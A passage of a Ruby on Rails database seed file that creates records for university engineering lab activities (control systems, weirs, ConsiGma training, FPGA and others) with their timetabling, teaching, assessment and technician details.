a610.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 5)\n\n\n a611 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"ACS230\").first.id, code: \"241\").first_or_create!(name: \"Control Systems Analysis\",\n name_abrv: \"\", archived: false, in_drive: false, user_id: 5)\n at611 = ActivityTimetable.where(activity_id: a611.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: 10, max_week_num: 12, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 60, takedown_time: 60, notes: \"\",\n capacity: 144, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a611.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a611.id).first_or_create!(criteria: \"Understanding of physical systems modeling, the analysis of 1st and 2nd order systems, bode diagrams and root locus plots\",\n job_desc:\"This laboratory involves analysis of s-domain control systems using bode diagrams and root locus plots, an understanding of stability margins and control system types.\", jobshop_desc: \"GTA in MEE, the Diamond: ACSE Labs in the Electronics & Control Lab\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a611.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_sum.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: 2)\n ActivityTech.where(activity_id: a611.id).first_or_create!(cost_per_student: nil, equip_needed: \"Loads\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 5)\n\n\n a612 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"CIV6733\").first.id, code: \"429\").first_or_create!(name: \"Weirs\",\n name_abrv: \"WEIRS\", archived: false, in_drive: false, user_id: 5)\n at612 = ActivityTimetable.where(activity_id: a612.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: 6, max_week_num: 6, pref_room_id: $room_fl.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 60, takedown_time: 60, notes: \"\",\n capacity: 80, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a612.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"https://tinyurl.com/yxbxl4o9\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a612.id).first_or_create!(criteria: \"#N/A\",\n job_desc:\"#N/A\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a612.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_mole.id, num_assess: nil)\n ActivityTech.where(activity_id: a612.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a612.id, programme_id: $prog_civ.id).first_or_create!\n\n\n a613 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"GEE204\").first.id, code: \"430\").first_or_create!(name: \"Fluidic Carousel\",\n name_abrv: \"FUNLAB\", archived: false, in_drive: true, user_id: 3)\n at613 = ActivityTimetable.where(activity_id: a613.id).first_or_create!(duration: 90, kit_prep_time: nil, min_week_num: 12, max_week_num: 12, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 50, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a613.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"https://tinyurl.com/y3kowsbv\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a613.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a613.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a613.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 4, tech_ustudy_id: 1)\n ActivityProgramme.where(activity_id: a613.id, programme_id: $prog_gee.id).first_or_create!\n\n\n a614 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"AER192\").first.id, code: \"unknowncode81\").first_or_create!(name: \"Name that Gas\",\n name_abrv: \"\", archived: false, in_drive: false, user_id: 1)\n at614 = ActivityTimetable.where(activity_id: a614.id).first_or_create!(duration: 60, kit_prep_time: nil, min_week_num: 9, max_week_num: 10, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 60, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a614.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a614.id).first_or_create!(criteria: \"#N/A\",\n job_desc:\"#N/A\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a614.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a614.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 5)\n ActivityProgramme.where(activity_id: a614.id, programme_id: $prog_aero.id).first_or_create!\n\n\n a615 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"FCE6100\").first.id, code: \"1\").first_or_create!(name: \"FCE6100\",\n name_abrv: \"\", archived: false, in_drive: false, user_id: 2)\n at615 = ActivityTimetable.where(activity_id: a615.id).first_or_create!(duration: nil, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: nil, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a615.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a615.id).first_or_create!(criteria: \"#N/A\",\n job_desc:\"#N/A\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a615.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a615.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 3)\n\n\n a616 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"CPE260\").first.id, code: \"130\").first_or_create!(name: \"Consigma Front Training\",\n name_abrv: \"\", archived: false, in_drive: false, user_id: 3)\n at616 = ActivityTimetable.where(activity_id: a616.id).first_or_create!(duration: 60, kit_prep_time: nil, min_week_num: 1, max_week_num: 3, pref_room_id: $room_pp.id,\n same_as_prev_year: true, series_setup_time: 30, setup_time: 60, takedown_time: 60, notes: \"\",\n capacity: 10, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a616.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_high.id)\n ActivityGta.where(activity_id: a616.id).first_or_create!(criteria: \"#N/A\",\n job_desc:\"#N/A\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a616.id).first_or_create!(assess_weight: nil, notes: \"only training to get them ready for the actual exp\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_other.id, num_assess: nil)\n ActivityTech.where(activity_id: a616.id).first_or_create!(cost_per_student: nil, equip_needed: \"ConsiGma25\",\n last_risk_assess: Date.new(19, 1, 20), next_risk_assess: Date.new(20, 1, 20), tech_lead_id: 1, tech_ustudy_id: 2)\n ActivityProgramme.where(activity_id: a616.id, programme_id: $prog_cbe.id).first_or_create!\n\n\n a617 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"CPE260\").first.id, code: \"131\").first_or_create!(name: \"Consigma Back Training\",\n name_abrv: \"\", archived: false, in_drive: false, user_id: 5)\n at617 = ActivityTimetable.where(activity_id: a617.id).first_or_create!(duration: 60, kit_prep_time: nil, min_week_num: 1, max_week_num: 3, pref_room_id: $room_pp.id,\n same_as_prev_year: true, series_setup_time: 30, setup_time: 60, takedown_time: 60, notes: \"\",\n capacity: 10, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a617.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_high.id)\n ActivityGta.where(activity_id: a617.id).first_or_create!(criteria: \"#N/A\",\n job_desc:\"#N/A\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a617.id).first_or_create!(assess_weight: nil, notes: \"only training to get them ready for the actual exp\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_other.id, num_assess: nil)\n ActivityTech.where(activity_id: a617.id).first_or_create!(cost_per_student: nil, equip_needed: \"ConsiGma25\",\n last_risk_assess: Date.new(19, 1, 20), next_risk_assess: Date.new(20, 1, 20), tech_lead_id: 4, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a617.id, programme_id: $prog_cbe.id).first_or_create!\n\n\n a618 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"CPE260\").first.id, code: \"132\").first_or_create!(name: \"Cont Crystalliser Training\",\n name_abrv: \"\", archived: false, in_drive: false, user_id: 3)\n at618 = ActivityTimetable.where(activity_id: a618.id).first_or_create!(duration: 60, kit_prep_time: nil, min_week_num: 1, max_week_num: 3, pref_room_id: $room_al.id,\n same_as_prev_year: true, series_setup_time: 30, setup_time: 60, takedown_time: 60, notes: \"\",\n capacity: 10, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a618.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_high.id)\n ActivityGta.where(activity_id: a618.id).first_or_create!(criteria: \"#N/A\",\n job_desc:\"#N/A\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a618.id).first_or_create!(assess_weight: nil, notes: \"only training to get them ready for the actual exp\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_other.id, num_assess: nil)\n ActivityTech.where(activity_id: a618.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 5)\n ActivityProgramme.where(activity_id: a618.id, programme_id: $prog_cbe.id).first_or_create!\n\n\n a619 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"CPE260\").first.id, code: \"133\").first_or_create!(name: \"Carousel Filter Dryer Training\",\n name_abrv: \"\", archived: false, in_drive: false, user_id: 5)\n at619 = ActivityTimetable.where(activity_id: a619.id).first_or_create!(duration: 60, kit_prep_time: nil, min_week_num: 1, max_week_num: 3, pref_room_id: $room_al.id,\n same_as_prev_year: true, series_setup_time: 30, setup_time: 60, takedown_time: 60, notes: \"\",\n capacity: 10, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a619.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_high.id)\n ActivityGta.where(activity_id: a619.id).first_or_create!(criteria: \"#N/A\",\n job_desc:\"#N/A\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a619.id).first_or_create!(assess_weight: nil, notes: \"only training to get them ready for the actual exp\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_other.id, num_assess: nil)\n ActivityTech.where(activity_id: a619.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a619.id, programme_id: $prog_cbe.id).first_or_create!\n\n\n a620 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"COM1005\").first.id, code: \"unknowncode82\").first_or_create!(name: \"Lab\",\n name_abrv: \"\", archived: false, in_drive: false, user_id: 1)\n at620 = ActivityTimetable.where(activity_id: a620.id).first_or_create!(duration: nil, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: nil, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a620.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a620.id).first_or_create!(criteria: \"#N/A\",\n job_desc:\"#N/A\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a620.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a620.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a620.id, programme_id: $prog_com.id).first_or_create!\n\n\n a621 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"FCE001\").first.id, code: \"unknowncode83\").first_or_create!(name: \"Iforge\",\n name_abrv: \"IF\", archived: false, in_drive: false, user_id: 4)\n at621 = ActivityTimetable.where(activity_id: a621.id).first_or_create!(duration: nil, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: nil, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a621.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a621.id).first_or_create!(criteria: \"#N/A\",\n job_desc:\"#N/A\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a621.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a621.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 5)\n ActivityProgramme.where(activity_id: a621.id, programme_id: $prog_com.id).first_or_create!\n\n\n a622 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"CPE360\").first.id, code: \"134\").first_or_create!(name: \"Investigation of Residence Time Distribution in a CSTR\",\n name_abrv: \"\", archived: false, in_drive: false, user_id: 5)\n at622 = ActivityTimetable.where(activity_id: a622.id).first_or_create!(duration: 60, kit_prep_time: nil, min_week_num: 6, max_week_num: 12, pref_room_id: $room_al.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 15, takedown_time: 15, notes: \"\",\n capacity: 6, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a622.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a622.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a622.id).first_or_create!(assess_weight: 10.0, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_mole.id, num_assess: 1)\n ActivityTech.where(activity_id: a622.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 1)\n ActivityProgramme.where(activity_id: a622.id, programme_id: $prog_cbe.id).first_or_create!\n\n\n a623 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"EEE6602\").first.id, code: \"134\").first_or_create!(name: \"Workstation Familiarisation\",\n name_abrv: \"\", archived: false, in_drive: false, user_id: 5)\n at623 = ActivityTimetable.where(activity_id: a623.id).first_or_create!(duration: nil, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: nil, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a623.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a623.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a623.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a623.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a623.id, programme_id: $prog_eee.id).first_or_create!\n\n\n a624 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"EEE6600\").first.id, code: \"134\").first_or_create!(name: \"Workstation Familiarisation\",\n name_abrv: \"\", archived: false, in_drive: false, user_id: 4)\n at624 = ActivityTimetable.where(activity_id: a624.id).first_or_create!(duration: nil, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: nil, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a624.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a624.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a624.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a624.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 2, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a624.id, programme_id: $prog_eee.id).first_or_create!\n\n\n a625 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"EEE6222\").first.id, code: \"134\").first_or_create!(name: \"Workstation Familiarisation\",\n name_abrv: \"\", archived: false, in_drive: false, user_id: 2)\n at625 = ActivityTimetable.where(activity_id: a625.id).first_or_create!(duration: nil, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: nil, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a625.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a625.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a625.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a625.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a625.id, programme_id: $prog_eee.id).first_or_create!\n\n\n a626 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"EEE6225\").first.id, code: \"134\").first_or_create!(name: \"Workstation Familiarisation\",\n name_abrv: \"\", archived: false, in_drive: false, user_id: 4)\n at626 = ActivityTimetable.where(activity_id: a626.id).first_or_create!(duration: nil, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: nil, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a626.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a626.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a626.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a626.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 4, tech_ustudy_id: 2)\n ActivityProgramme.where(activity_id: a626.id, programme_id: $prog_eee.id).first_or_create!\n\n\n a627 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"COM6910\").first.id, code: \"134\").first_or_create!(name: \"Workstation Familiarisation\",\n name_abrv: \"\", archived: false, in_drive: false, user_id: 4)\n at627 = ActivityTimetable.where(activity_id: a627.id).first_or_create!(duration: nil, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: nil, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a627.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a627.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a627.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a627.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 1)\n ActivityProgramme.where(activity_id: a627.id, programme_id: $prog_eee.id).first_or_create!\n\n\n a628 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"EEE6602\").first.id, code: \"141\").first_or_create!(name: \"Lab View\",\n name_abrv: \"\", archived: false, in_drive: false, user_id: 2)\n at628 = ActivityTimetable.where(activity_id: a628.id).first_or_create!(duration: nil, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: nil, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a628.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a628.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a628.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a628.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 5)\n ActivityProgramme.where(activity_id: a628.id, programme_id: $prog_eee.id).first_or_create!\n\n\n a629 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"EEE6602\").first.id, code: \"402\").first_or_create!(name: \"FPGA\",\n name_abrv: \"\", archived: false, in_drive: false, user_id: 3)\n at629 = ActivityTimetable.where(activity_id: a629.id).first_or_create!(duration: nil, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: nil, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a629.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a629.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a629.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a629.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 2)\n ActivityProgramme.where(activity_id: a629.id, programme_id: $prog_eee.id).first_or_create!\n\n\n a630 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"EEE6600\").first.id, code: \"402\").first_or_create!(name: \"FPGA\",\n name_abrv: \"\", archived: false, in_drive: false, user_id: 3)\n at630 = ActivityTimetable.where(activity_id: a630.id).first_or_create!(duration: nil, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: nil, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a630.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a630.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a630.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a630.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 2)\n ActivityProgramme.where(activity_id: a630.id, programme_id: $prog_eee.id).first_or_create!\n\n\n a631 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"EEE6602\").first.id, code: \"142\").first_or_create!(name: \"Power Electronics\",\n name_abrv: \"\", archived: false, in_drive: false, user_id: 1)\n at631 = ActivityTimetable.where(activity_id: a631.id).first_or_create!(duration: nil, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: nil, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a631.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a631.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a631.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a631.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a631.id, programme_id: $prog_eee.id).first_or_create!\n\n\n a632 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"EEE6602\").first.id, code: \"313\").first_or_create!(name: \"Clean Room\",\n name_abrv: \"\", archived: false, in_drive: false, user_id: 2)\n at632 = ActivityTimetable.where(activity_id: a632.id).first_or_create!(duration: nil, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: nil, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a632.id).first_or_create!(user_id: 5, g_drive_link: 